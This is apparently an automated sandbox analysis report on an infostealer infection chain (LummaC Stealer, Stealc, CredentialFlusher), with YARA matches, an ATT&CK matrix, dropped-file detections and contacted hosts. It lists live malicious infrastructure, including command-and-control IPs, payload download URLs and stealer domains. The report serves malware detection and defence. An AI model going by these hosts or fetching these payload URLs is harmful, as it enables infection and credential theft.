Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ

Source: Yara match	File source: 00000000.00000003.2267291789.000000000069B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2267376515.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2898013500.0000000001124000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ee8d47a049.exe PID: 7836, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 0000000F.00000003.3090032690.00000000017EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.3341116550.000000000126F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 55662d7496.exe PID: 6856, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 2532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ee8d47a049.exe PID: 7836, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 32.2.num.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.num.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.num.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.36c3130eac.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.0.num.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.36c3130eac.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.PJGT15Z82T6C2GQS.exe.4a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.ZR7XTEYLCJ0IZBOL3C6E.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.3104993509.0000000000DD1000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2518168701.000000000109E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2956398464.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.3076762189.0000000000DD1000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.3105966323.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.3280676908.0000000000DD1000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3241643306.00000000009BB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2998225047.0000000000F11000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.3250481515.0000000000DD1000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3242620243.0000000000F11000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2516681456.00000000004A1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3303275085.00000000001D1000.00000040.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2428440432.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3109724508.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3148683009.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2997022588.000000000074C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.3284197061.0000000001107000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3305271933.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PJGT15Z82T6C2GQS.exe PID: 2988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 36c3130eac.exe PID: 8068, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	11 File and Directory Discovery	Remote Services	1 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	11 Registry Run Keys / Startup Folder	1 Windows Service	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001141001\num.exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001141001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1001141001\num.exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe	47%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://account.bellmedia.c	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#ascii-whitespace	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://www.olx.pl/	0%	URL Reputation	safe
https://api.steampowered.com/	0%	URL Reputation	safe
https://store.steampowered.com/mobile	0%	URL Reputation	safe
http://185.215.113.37	100%	URL Reputation	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
steamcommunity.com	104.102.49.254	true	true	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
ipv4only.arpa	192.0.0.170	true	false	unknown
sergei-esenin.com	104.21.53.8	true	true	unknown
youtube.com	142.250.185.142	true	false	unknown
bathdoomgaz.store	unknown	unknown	true	unknown
spirittunek.store	unknown	unknown	true	unknown
licendfilteo.site	unknown	unknown	true	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
studennotediw.store	unknown	unknown	true	unknown
mobbipenju.store	unknown	unknown	true	unknown
eaglepawnoy.store	unknown	unknown	true	unknown
clearancek.site	unknown	unknown	true	unknown
dissapoiznw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
dissapoiznw.store	true	unknown
https://steamcommunity.com/profiles/76561199724331900	true	unknown
https://sergei-esenin.com/api	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://merino.services.mozilla.com/api/v1/suggestresource://activity-stream/lib/DefaultSites.sys.mj	firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.cloudflare.com/learning/access-management/phishing-attack/	file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208350186.00000000006AA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883971948.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://basket.mozilla.org/news/subscribe_sms/	firefox.exe, 0000001C.00000002.3213984029.000002682A900000.00000002.00000001.00040000.0000001F.sdmp	false		unknown
https://truecolors.firefox.comtestPermissionFromPrincipalupgradeTabsProgressListenermigrateXULAttrib	firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/	ee8d47a049.exe, 0000000C.00000003.2883971948.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2975067077.0000000001109000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3201171185.000002681E1D7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/steam/random.exeXU	ee8d47a049.exe, 0000000C.00000003.3086208554.00000000057F1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=	file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/mine/random.exeJU	ee8d47a049.exe, 0000000C.00000003.3086208554.00000000057F1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001C.00000002.3216509308.000002682B603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 0000001C.00000002.3201171185.000002681E103000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3242551338.000002682F80B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService	firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001C.00000002.3213139863.000002682A824000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3083238118.000002682E000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3085509496.000002682E210000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpz	36c3130eac.exe, 0000000D.00000002.2997022588.0000000000773000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001C.00000002.3242551338.000002682F83B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3222736254.000002682D870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.3083238118.000002682E000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3085509496.000002682E210000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://youtube.com/accounteEditorEnableWrapHackMaskgWindowsWithUnloadHandlerfractionalDataArray	firefox.exe, 0000001C.00000002.3242551338.000002682F817000.00000004.00000800.00020000.00000000.sdmp	false		unknown
